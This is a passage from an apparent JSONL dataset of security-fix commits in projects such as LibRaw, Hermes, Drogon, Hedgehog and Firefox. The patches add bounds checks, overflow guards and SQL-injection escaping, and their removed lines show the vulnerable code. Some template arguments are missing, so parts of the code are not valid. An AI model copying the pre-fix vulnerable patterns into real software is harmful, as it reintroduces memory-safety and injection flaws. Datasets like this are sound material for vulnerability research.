ilm.MaxAp4MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0045:\n- ilm.MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t ilm.MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0046:\n- ilm.MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t ilm.MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n }\n } else goto restore_after_parseSonySRF;", "sections": [{"section": "@@ -1799,6 +1799,14 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n float num;\n int i;\n int WBCTC_count;\n+#define CHECKBUFFER_N(offset,N) \\\n+ do \\\n+ { \\\n+ if ((((offset) + (N)) > SR2SubIFDLength) || ((offset) < 0)) \\\n+ return;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n+ } while (0)\n+\n+ CHECKBUFFER_N(0, 2);\n entries = sget2(cbuf_SR2);\n if (entries > 1000)\n return;\n", "related": false}, {"section": "@@ -1812,43 +1820,52 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n if (dng_writer == nonDNG) {\n switch (tag_id) {\n case 0x7300:\n- FORC4 cblack[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4,0);\n+\t\t\tFORC4 cblack[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x7303:\n- FORC4 cam_mul[GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cam_mul[GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x7310:\n- FORC4 cblack[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cblack[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n i = cblack[3];\n FORC3 if (i > cblack[c]) i = cblack[c];\n FORC4 cblack[c] -= i;\n black = i;\n TagProcessed = 1;\n break;\n case 0x7313:\n- FORC4 cam_mul[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 4, 0);\n+\t\t\tFORC4 cam_mul[RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n TagProcessed = 1;\n break;\n case 0x74a0:\n- ilm.MaxAp4MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxAp4MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a1:\n- ilm.MaxAp4MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxAp4MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a2:\n- ilm.MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MaxFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x74a3:\n- ilm.MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset, 4);\n+\t\t\tilm.MinFocal = sgetreal(tag_type, cbuf_SR2 + tag_dataoffset);\n TagProcessed = 1;\n break;\n case 0x7800:\n- for (i = 0; i < 3; i++)\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 8, 2);\n+\t\t for (i = 0; i < 3; i++)\n {\n num = 0.0;\n for (c = 0; c < 3; c++)\n", "related": false}, {"section": "@@ -1865,12 +1882,14 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n case 0x787f:\n if (tag_datalen == 3)\n {\n- FORC3 imgdata.color.linear_max[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 imgdata.color.linear_max[c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n imgdata.color.linear_max[3] = imgdata.color.linear_max[1];\n }\n else if (tag_datalen == 1)\n {\n- imgdata.color.linear_max[0] = imgdata.color.linear_max[1] =\n+\t\t\t CHECKBUFFER_N(tag_dataoffset, 2);\n+\t\t\t imgdata.color.linear_max[0] = imgdata.color.linear_max[1] =\n imgdata.color.linear_max[2] = imgdata.color.linear_max[3] =\n sget2(cbuf_SR2 + tag_dataoffset);\n }\n", "related": false}, {"section": "@@ -1884,37 +1903,44 @@ void LibRaw::parseSonySR2(uchar *cbuf_SR2, unsigned SR2SubIFDOffset,\n i = tag_id - 0x7480;\n if (Sony_SR2_wb_list[i] > 255) {\n icWBCCTC[WBCTC_count][0] = Sony_SR2_wb_list[i];\n- FORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\tFORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBCCTC[WBCTC_count][4] = icWBCCTC[WBCTC_count][2];\n WBCTC_count++;\n } else {\n- FORC3 icWBC[Sony_SR2_wb_list[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 icWBC[Sony_SR2_wb_list[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBC[Sony_SR2_wb_list[i]][3] = icWBC[Sony_SR2_wb_list[i]][1];\n }\n } else if ((tag_id >= 0x7820) && (tag_id <= 0x782d)) {\n i = tag_id - 0x7820;\n if (Sony_SR2_wb_list1[i] > 255) {\n icWBCCTC[WBCTC_count][0] = Sony_SR2_wb_list1[i];\n- FORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\tFORC3 icWBCCTC[WBCTC_count][c + 1] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBCCTC[WBCTC_count][4] = icWBCCTC[WBCTC_count][2];\n if (Sony_SR2_wb_list1[i] == 3200) {\n FORC3 icWBC[LIBRAW_WBI_StudioTungsten][c] = icWBCCTC[WBCTC_count][c + 1];\n icWBC[LIBRAW_WBI_StudioTungsten][3] = icWBC[LIBRAW_WBI_StudioTungsten][1];\n }\n WBCTC_count++;\n } else {\n- FORC3 icWBC[Sony_SR2_wb_list1[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\t CHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 2, 2);\n+\t\t\t FORC3 icWBC[Sony_SR2_wb_list1[i]][c] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n icWBC[Sony_SR2_wb_list1[i]][3] = icWBC[Sony_SR2_wb_list1[i]][1];\n }\n } else if (tag_id == 0x7302) {\n- FORC4 icWBC[LIBRAW_WBI_Auto][GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 3, 2);\n+\t\t\tFORC4 icWBC[LIBRAW_WBI_Auto][GRBG_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n } else if (tag_id == 0x7312) {\n- FORC4 icWBC[LIBRAW_WBI_Auto][RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n+\t\t\tCHECKBUFFER_N(tag_dataoffset + tag_dataunitlen * 3, 2);\n+\t\t\tFORC4 icWBC[LIBRAW_WBI_Auto][RGGB_2_RGBG(c)] = sget2(cbuf_SR2 + tag_dataoffset + tag_dataunitlen * c);\n }\n }\n }\n }\n }\n+#undef CHECKBUFFER_N\n \n void LibRaw::parseSonySRF(unsigned len)\n {\n", "related": false}, {"section": "@@ -1935,10 +1961,10 @@ void LibRaw::parseSonySRF(unsigned len)\n INT64 srf_offset, tag_offset, tag_data, tag_dataoffset;\n int tag_dataunitlen;\n uchar *srf_buf;\n- short entries;\n+ ushort entries;\n unsigned tag_id, tag_type, tag_datalen;\n \n- srf_buf = (uchar *)malloc(len);\n+ srf_buf = (uchar *)malloc(len+64);\n fread(srf_buf, len, 1, ifp);\n \n offset += srf_buf[offset] << 2;\n", "related": false}, {"section": "@@ -1995,9 +2021,11 @@ void LibRaw::parseSonySRF(unsigned len)\n &tag_offset, &tag_id, &tag_type, &tag_dataoffset,\n &tag_datalen, &tag_dataunitlen) == 0) {\n if (tag_id == 0x0000) {\n- SRF2Key = sget4(srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t SRF2Key = sget4(srf_buf + tag_dataoffset);\n } else if (tag_id == 0x0001) {\n- RawDataKey = sget4(srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t RawDataKey = sget4(srf_buf + tag_dataoffset);\n }\n } else goto restore_after_parseSonySRF;\n }\n", "related": false}, {"section": "@@ -2019,20 +2047,22 @@ void LibRaw::parseSonySRF(unsigned len)\n tag_offset = offset;\n \n while (entries--) {\n- if (tiff_sget (save, srf_buf, len,\n+\t if (tiff_sget(save, srf_buf, len,\n &tag_offset, &tag_id, &tag_type, &tag_dataoffset,\n &tag_datalen, &tag_dataunitlen) == 0) {\n if ((tag_id >= 0x00c0) && (tag_id <= 0x00ce)) {\n i = (tag_id - 0x00c0) % 3;\n nWB = (tag_id - 0x00c0) / 3;\n- icWBC[Sony_SRF_wb_list[nWB]][i] = sget4(srf_buf + tag_dataoffset);\n+\t\tCHECKBUFFER_SGET4(tag_dataoffset);\n+\t\ticWBC[Sony_SRF_wb_list[nWB]][i] = sget4(srf_buf + tag_dataoffset);\n if (i == 1) {\n icWBC[Sony_SRF_wb_list[nWB]][3] =\n icWBC[Sony_SRF_wb_list[nWB]][i];\n }\n } else if ((tag_id >= 0x00d0) && (tag_id <= 0x00d2)) {\n i = (tag_id - 0x00d0) % 3;\n- cam_mul[i] = sget4(srf_buf + tag_dataoffset);\n+\t\tCHECKBUFFER_SGET4(tag_dataoffset);\n+\t\tcam_mul[i] = sget4(srf_buf + tag_dataoffset);\n if (i == 1) {\n cam_mul[3] = cam_mul[i];\n }\n", "related": false}, {"section": "@@ -2044,16 +2074,20 @@ void LibRaw::parseSonySRF(unsigned len)\n 0x0005 RawDataLength\n */\n case 0x0043:\n- ilm.MaxAp4MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset); // need to add extra space\n+\t\t ilm.MaxAp4MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0044:\n- ilm.MaxAp4MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t ilm.MaxAp4MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0045:\n- ilm.MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t ilm.MinFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n case 0x0046:\n- ilm.MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n+\t\t CHECKBUFFER_SGET4(tag_dataoffset);\n+\t\t ilm.MaxFocal = sgetreal(tag_type, srf_buf + tag_dataoffset);\n break;\n }\n } else goto restore_after_parseSonySRF;", "related": false}]} +{"owner": "facebook", "repo": "hermes", "language": "C++", "file_name": "lib/BCGen/HBC/BytecodeProviderFromSrc.cpp", "commit_id": "6aa825e480d48127b480b08d13adf70033237097", "commit_message": "Re-sync with internal repository (#822)\n\nCo-authored-by: Facebook Community Bot <6422482+facebook-github-bot@users.noreply.github.com>", "patch": "@@ -236,8 +236,11 @@ BCProviderFromSrc::createBCProviderFromSrcImpl(\n opts.staticBuiltinsEnabled =\n context->getOptimizationSettings().staticBuiltins;\n opts.verifyIR = compileFlags.verifyIR;\n- auto bytecode = createBCProviderFromSrc(\n- hbc::generateBytecodeModule(&M, M.getTopLevelFunction(), opts));\n+ auto BM = hbc::generateBytecodeModule(&M, M.getTopLevelFunction(), opts);\n+ if (context->getSourceErrorManager().getErrorCount() > 0) {\n+ return {nullptr, getErrorString()};\n+ }\n+ auto bytecode = createBCProviderFromSrc(std::move(BM));\n bytecode->singleFunction_ = isSingleFunctionExpression(parsed.getValue());\n return {std::move(bytecode), std::string{}};\n }", "sections": [{"section": "@@ -236,8 +236,11 @@ BCProviderFromSrc::createBCProviderFromSrcImpl(\n opts.staticBuiltinsEnabled =\n context->getOptimizationSettings().staticBuiltins;\n opts.verifyIR = compileFlags.verifyIR;\n- auto bytecode = createBCProviderFromSrc(\n- hbc::generateBytecodeModule(&M, M.getTopLevelFunction(), opts));\n+ auto BM = hbc::generateBytecodeModule(&M, M.getTopLevelFunction(), opts);\n+ if (context->getSourceErrorManager().getErrorCount() > 0) {\n+ return {nullptr, getErrorString()};\n+ }\n+ auto bytecode = createBCProviderFromSrc(std::move(BM));\n bytecode->singleFunction_ = isSingleFunctionExpression(parsed.getValue());\n return {std::move(bytecode), std::string{}};\n }", "related": false}]} +{"owner": "facebook", "repo": "hermes", "language": "C", "file_name": "external/llvh/include/llvh/ADT/SmallVector.h", "commit_id": "06eaec767e376bfdb883d912cb15e987ddf2bda1", "commit_message": "Re-sync with internal repository (#772)\n\nCo-authored-by: Facebook Community Bot <6422482+facebook-github-bot@users.noreply.github.com>", "patch": "@@ -238,12 +238,16 @@ class SmallVectorTemplateBase : public SmallVectorTemplateCommon {\n // Define this out-of-line to dissuade the C++ compiler from inlining it.\n template \n void SmallVectorTemplateBase::grow(size_t MinSize) {\n- if (MinSize > UINT32_MAX)\n- report_bad_alloc_error(\"SmallVector capacity overflow during allocation\");\n-\n // Always grow, even from zero.\n- size_t NewCapacity = size_t(NextPowerOf2(this->capacity() + 2));\n- NewCapacity = std::min(std::max(NewCapacity, MinSize), size_t(UINT32_MAX));\n+ constexpr size_t MinGrowth = 2;\n+ size_t NewCapacity = size_t(NextPowerOf2(this->capacity() + MinGrowth));\n+ NewCapacity = static_cast(std::max(NewCapacity, MinSize));\n+ // Ensure that NewCapacity did not overflow an unsigned int,\n+ // and that the capacity in bytes will not overflow a size_t.\n+ if (NewCapacity <= this->capacity() ||\n+ NewCapacity < MinSize ||\n+ NewCapacity > size_t(-1) / sizeof(T))\n+ report_bad_alloc_error(\"SmallVector capacity overflow during allocation\");\n T *NewElts = static_cast(llvh::safe_malloc(NewCapacity*sizeof(T)));\n \n // Move the elements over.", "sections": [{"section": "@@ -238,12 +238,16 @@ class SmallVectorTemplateBase : public SmallVectorTemplateCommon {\n // Define this out-of-line to dissuade the C++ compiler from inlining it.\n template \n void SmallVectorTemplateBase::grow(size_t MinSize) {\n- if (MinSize > UINT32_MAX)\n- report_bad_alloc_error(\"SmallVector capacity overflow during allocation\");\n-\n // Always grow, even from zero.\n- size_t NewCapacity = size_t(NextPowerOf2(this->capacity() + 2));\n- NewCapacity = std::min(std::max(NewCapacity, MinSize), size_t(UINT32_MAX));\n+ constexpr size_t MinGrowth = 2;\n+ size_t NewCapacity = size_t(NextPowerOf2(this->capacity() + MinGrowth));\n+ NewCapacity = static_cast(std::max(NewCapacity, MinSize));\n+ // Ensure that NewCapacity did not overflow an unsigned int,\n+ // and that the capacity in bytes will not overflow a size_t.\n+ if (NewCapacity <= this->capacity() ||\n+ NewCapacity < MinSize ||\n+ NewCapacity > size_t(-1) / sizeof(T))\n+ report_bad_alloc_error(\"SmallVector capacity overflow during allocation\");\n T *NewElts = static_cast(llvh::safe_malloc(NewCapacity*sizeof(T)));\n \n // Move the elements over.", "related": false}]} +{"owner": "brave", "repo": "muon", "language": "C", "file_name": "chromium_src/chrome/renderer/content_settings_observer.cc", "commit_id": "c18663aa171c6cdf03da3e8c70df8663645b97c4", "commit_message": "Issue: 15232 AllowScript should use atom::ContentSettingsManager like other Allow* methods in the observer", "patch": "@@ -432,11 +432,13 @@ bool ContentSettingsObserver::AllowScript(bool enabled_per_settings) {\n // IsWhitelistedForContentSettings(); if there is only the default rule\n // allowing all scripts, it's quicker this way.\n bool allow = true;\n- if (content_setting_rules_) {\n- ContentSetting setting = GetContentSettingFromRules(\n- content_setting_rules_->script_rules, frame,\n- url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL());\n- allow = setting != CONTENT_SETTING_BLOCK;\n+ if (content_settings_manager_->content_settings()) {\n+ allow =\n+ content_settings_manager_->GetSetting(\n+ ContentSettingsManager::GetOriginOrURL(render_frame()->GetWebFrame()),\n+ url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL(),\n+ \"javascript\",\n+ allow) != CONTENT_SETTING_BLOCK;\n }\n allow = allow || IsWhitelistedForContentSettings();\n ", "sections": [{"section": "@@ -432,11 +432,13 @@ bool ContentSettingsObserver::AllowScript(bool enabled_per_settings) {\n // IsWhitelistedForContentSettings(); if there is only the default rule\n // allowing all scripts, it's quicker this way.\n bool allow = true;\n- if (content_setting_rules_) {\n- ContentSetting setting = GetContentSettingFromRules(\n- content_setting_rules_->script_rules, frame,\n- url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL());\n- allow = setting != CONTENT_SETTING_BLOCK;\n+ if (content_settings_manager_->content_settings()) {\n+ allow =\n+ content_settings_manager_->GetSetting(\n+ ContentSettingsManager::GetOriginOrURL(render_frame()->GetWebFrame()),\n+ url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL(),\n+ \"javascript\",\n+ allow) != CONTENT_SETTING_BLOCK;\n }\n allow = allow || IsWhitelistedForContentSettings();\n ", "related": false}]} +{"owner": "drachtio", "repo": "drachtio-server", "language": "C++", "file_name": "src/sip-dialog-controller.cpp", "commit_id": "a63d01854987d9fd846cdc9265af38ee9eb72490", "commit_message": "sending an invite with a request-uri longer than 255 characters can cause a crash (#238)", "patch": "@@ -529,7 +529,9 @@ namespace drachtio {\n }\n \n //prevent looping messages\n- normalizeSipUri( requestUri, 0 ) ;\n+ if (!normalizeSipUri( requestUri, 0 )) {\n+ throw std::runtime_error(string(\"invalid request-uri: \") + requestUri ) ;\n+ }\n if( isLocalSipUri( requestUri ) ) {\n throw std::runtime_error(\"can not send request to myself\") ;\n }", "sections": [{"section": "@@ -529,7 +529,9 @@ namespace drachtio {\n }\n \n //prevent looping messages\n- normalizeSipUri( requestUri, 0 ) ;\n+ if (!normalizeSipUri( requestUri, 0 )) {\n+ throw std::runtime_error(string(\"invalid request-uri: \") + requestUri ) ;\n+ }\n if( isLocalSipUri( requestUri ) ) {\n throw std::runtime_error(\"can not send request to myself\") ;\n }", "related": false}]} +{"owner": "drogonframework", "repo": "drogon", "language": "C", "file_name": "lib/src/HttpResponseImpl.h", "commit_id": "c0d48da99f66aaada17bcd28b07741cac8697647", "commit_message": "Avoid HashDoS attacks via random per-session hash initial state (#1433)", "patch": "@@ -130,7 +130,9 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n removeHeaderBy(key);\n }\n \n- const std::unordered_map &headers() const override\n+ const std::\n+ unordered_map\n+ &headers() const override\n {\n return headers_;\n }\n@@ -200,7 +202,9 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n return defaultCookie;\n }\n \n- const std::unordered_map &cookies() const override\n+ const std::\n+ unordered_map\n+ &cookies() const override\n {\n return cookies_;\n }\n@@ -446,8 +450,11 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n statusMessage_ = string_view{message, messageLength};\n }\n \n- std::unordered_map headers_;\n- std::unordered_map cookies_;\n+ std::\n+ unordered_map\n+ headers_;\n+ std::unordered_map\n+ cookies_;\n \n int customStatusCode_{-1};\n HttpStatusCode statusCode_{kUnknown};", "sections": [{"section": "@@ -130,7 +130,9 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n removeHeaderBy(key);\n }\n \n- const std::unordered_map &headers() const override\n+ const std::\n+ unordered_map\n+ &headers() const override\n {\n return headers_;\n }\n", "related": false}, {"section": "@@ -200,7 +202,9 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n return defaultCookie;\n }\n \n- const std::unordered_map &cookies() const override\n+ const std::\n+ unordered_map\n+ &cookies() const override\n {\n return cookies_;\n }\n", "related": false}, {"section": "@@ -446,8 +450,11 @@ class DROGON_EXPORT HttpResponseImpl : public HttpResponse\n statusMessage_ = string_view{message, messageLength};\n }\n \n- std::unordered_map headers_;\n- std::unordered_map cookies_;\n+ std::\n+ unordered_map\n+ headers_;\n+ std::unordered_map\n+ cookies_;\n \n int customStatusCode_{-1};\n HttpStatusCode statusCode_{kUnknown};", "related": false}]} +{"owner": "dns-stats", "repo": "hedgehog", "language": "C++", "file_name": "src/DSCIOManager.cpp", "commit_id": "58922c345d3d1fe89bb2020111873a3e07ca93ac", "commit_message": "Merge pull request #190 from japroc/fix-potential-sqli-through-fs-path\n\nFix potential sql injection through fs path", "patch": "@@ -214,6 +214,9 @@ DSCIOManager::dsc_import_input_from_source() {\n \n string node = bfs::initial_path().filename().generic_string();\n string server = bfs::initial_path().parent_path().filename().generic_string();\n+ //fix potential sql injection\n+ replace(node.begin(), node.end(), '\\'', '_');\n+ replace(server.begin(), server.end(), '\\'', '_');\n //transform to 'internal' name\n replace(server.begin(), server.end(), '-', '_');\n replace_string(server, \".\", \"__\");", "sections": [{"section": "@@ -214,6 +214,9 @@ DSCIOManager::dsc_import_input_from_source() {\n \n string node = bfs::initial_path().filename().generic_string();\n string server = bfs::initial_path().parent_path().filename().generic_string();\n+ //fix potential sql injection\n+ replace(node.begin(), node.end(), '\\'', '_');\n+ replace(server.begin(), server.end(), '\\'', '_');\n //transform to 'internal' name\n replace(server.begin(), server.end(), '-', '_');\n replace_string(server, \".\", \"__\");", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C++", "file_name": "widget/windows/nsWindow.cpp", "commit_id": "b7b7c16e0abbc204b80b00fe3990cbbd51b794b6", "commit_message": "Bug 1742421 - Part 3: [widget/windows] Exit fullscreen when changing sizemode; r=mhowell,edgar\n\nDifferential Revision: https://phabricator.services.mozilla.com/D135606", "patch": "@@ -2294,57 +2294,107 @@ static UINT GetCurrentShowCmd(HWND aWnd) {\n return pl.showCmd;\n }\n \n-// Maximize, minimize or restore the window.\n-void nsWindow::SetSizeMode(nsSizeMode aMode) {\n+void nsWindow::SetSizeModeInternal(nsSizeMode aMode, nsIScreen* aFullscreenTarget) {\n // Let's not try and do anything if we're already in that state.\n // (This is needed to prevent problems when calling window.minimize(), which\n // calls us directly, and then the OS triggers another call to us.)\n if (aMode == mSizeMode) return;\n \n- // If we are still displaying a maximized pre-XUL skeleton UI, ignore the\n- // noise of sizemode changes. Once we have \"shown\" the window for the first\n- // time (called nsWindow::Show(true), even though the window is already\n- // technically displayed), we will again accept sizemode changes.\n- if (mIsShowingPreXULSkeletonUI && WasPreXULSkeletonUIMaximized()) {\n- return;\n+ const bool currentlyFullscreen = mSizeMode == nsSizeMode_Fullscreen;\n+ const bool requestedFullscreen = aMode == nsSizeMode_Fullscreen;\n+ const bool fullscreenChanging = currentlyFullscreen || requestedFullscreen;\n+\n+ MOZ_DIAGNOSTIC_ASSERT(currentlyFullscreen == mFullscreenMode);\n+\n+ if (fullscreenChanging) {\n+ if (mWidgetListener) {\n+ mWidgetListener->FullscreenWillChange(requestedFullscreen);\n+ }\n+\n+ mFullscreenMode = requestedFullscreen;\n }\n \n // save the requested state\n mLastSizeMode = mSizeMode;\n nsBaseWidget::SetSizeMode(aMode);\n- if (mIsVisible) {\n- int mode;\n \n+ if (mIsVisible) {\n switch (aMode) {\n case nsSizeMode_Fullscreen:\n- mode = SW_SHOW;\n+ ::ShowWindow(mWnd, SW_SHOW);\n break;\n \n case nsSizeMode_Maximized:\n- mode = SW_MAXIMIZE;\n+ ::ShowWindow(mWnd, SW_MAXIMIZE);\n break;\n \n case nsSizeMode_Minimized:\n- mode = SW_MINIMIZE;\n+ ::ShowWindow(mWnd, SW_MINIMIZE);\n break;\n \n default:\n- mode = SW_RESTORE;\n+ MOZ_ASSERT(aMode == nsSizeMode_Normal);\n+\n+ // Don't call ::ShowWindow if we're trying to \"restore\" a window that is\n+ // already in a normal state. Prevents a bug where snapping to one side\n+ // of the screen and then minimizing would cause Windows to forget our\n+ // window's correct restored position/size.\n+ if (GetCurrentShowCmd(mWnd) != SW_SHOWNORMAL) {\n+ ::ShowWindow(mWnd, SW_RESTORE);\n+ }\n }\n+ }\n \n- // Don't call ::ShowWindow if we're trying to \"restore\" a window that is\n- // already in a normal state. Prevents a bug where snapping to one side\n- // of the screen and then minimizing would cause Windows to forget our\n- // window's correct restored position/size.\n- if (!(GetCurrentShowCmd(mWnd) == SW_SHOWNORMAL && mode == SW_RESTORE)) {\n- ::ShowWindow(mWnd, mode);\n+ if (fullscreenChanging) {\n+ // taskbarInfo will be nullptr pre Windows 7 until Bug 680227 is resolved.\n+ nsCOMPtr taskbarInfo = do_GetService(NS_TASKBAR_CONTRACTID);\n+\n+ if (requestedFullscreen && taskbarInfo) {\n+ // Notify the taskbar that we will be entering full screen mode.\n+ taskbarInfo->PrepareFullScreenHWND(mWnd, TRUE);\n }\n- // we activate here to ensure that the right child window is focused\n- if (mode == SW_MAXIMIZE || mode == SW_SHOW)\n+\n+ // If we are going fullscreen, the window size continues to change\n+ // and the window will be reflow again then.\n+ UpdateNonClientMargins(mSizeMode, /* Reflow */ !requestedFullscreen);\n+\n+ // Will call hide chrome, reposition window. Note this will\n+ // also cache dimensions for restoration, so it should only\n+ // be called once per fullscreen request.\n+ nsBaseWidget::InfallibleMakeFullScreen(requestedFullscreen, aFullscreenTarget);\n+ \n+ if (mIsVisible && aMode != nsSizeMode_Minimized) {\n DispatchFocusToTopLevelWindow(true);\n+ }\n+\n+ if (!requestedFullscreen && taskbarInfo) {\n+ // Notify the taskbar that we have exited full screen mode.\n+ taskbarInfo->PrepareFullScreenHWND(mWnd, FALSE);\n+ }\n+\n+ OnSizeModeChange(mSizeMode);\n+\n+ if (mWidgetListener) {\n+ mWidgetListener->FullscreenChanged(requestedFullscreen);\n+ }\n+ } else if(mIsVisible && aMode != nsSizeMode_Minimized) {\n+ DispatchFocusToTopLevelWindow(true);\n }\n }\n \n+// Maximize, minimize or restore the window.\n+void nsWindow::SetSizeMode(nsSizeMode aMode) {\n+ // If we are still displaying a maximized pre-XUL skeleton UI, ignore the\n+ // noise of sizemode changes. Once we have \"shown\" the window for the first\n+ // time (called nsWindow::Show(true), even though the window is already\n+ // technically displayed), we will again accept sizemode changes.\n+ if (mIsShowingPreXULSkeletonUI && WasPreXULSkeletonUIMaximized()) {\n+ return;\n+ }\n+\n+ SetSizeModeInternal(aMode, nullptr);\n+}\n+\n void DoGetWorkspaceID(HWND aWnd, nsAString* aWorkspaceID) {\n RefPtr desktopManager = gVirtualDesktopManager;\n if (!desktopManager || !aWnd) {\n@@ -3667,51 +3717,11 @@ void nsWindow::CleanupFullscreenTransition() {\n }\n \n nsresult nsWindow::MakeFullScreen(bool aFullScreen, nsIScreen* aTargetScreen) {\n- // taskbarInfo will be nullptr pre Windows 7 until Bug 680227 is resolved.\n- nsCOMPtr taskbarInfo = do_GetService(NS_TASKBAR_CONTRACTID);\n-\n- if (mWidgetListener) {\n- mWidgetListener->FullscreenWillChange(aFullScreen);\n- }\n-\n- mFullscreenMode = aFullScreen;\n if (aFullScreen) {\n- if (mSizeMode == nsSizeMode_Fullscreen) return NS_OK;\n mOldSizeMode = mSizeMode;\n- SetSizeMode(nsSizeMode_Fullscreen);\n-\n- // Notify the taskbar that we will be entering full screen mode.\n- if (taskbarInfo) {\n- taskbarInfo->PrepareFullScreenHWND(mWnd, TRUE);\n- }\n+ SetSizeModeInternal(nsSizeMode_Fullscreen, aTargetScreen);\n } else {\n- SetSizeMode(mOldSizeMode);\n- }\n-\n- // If we are going fullscreen, the window size continues to change\n- // and the window will be reflow again then.\n- UpdateNonClientMargins(mSizeMode, /* Reflow */ !aFullScreen);\n-\n- // Will call hide chrome, reposition window. Note this will\n- // also cache dimensions for restoration, so it should only\n- // be called once per fullscreen request.\n- 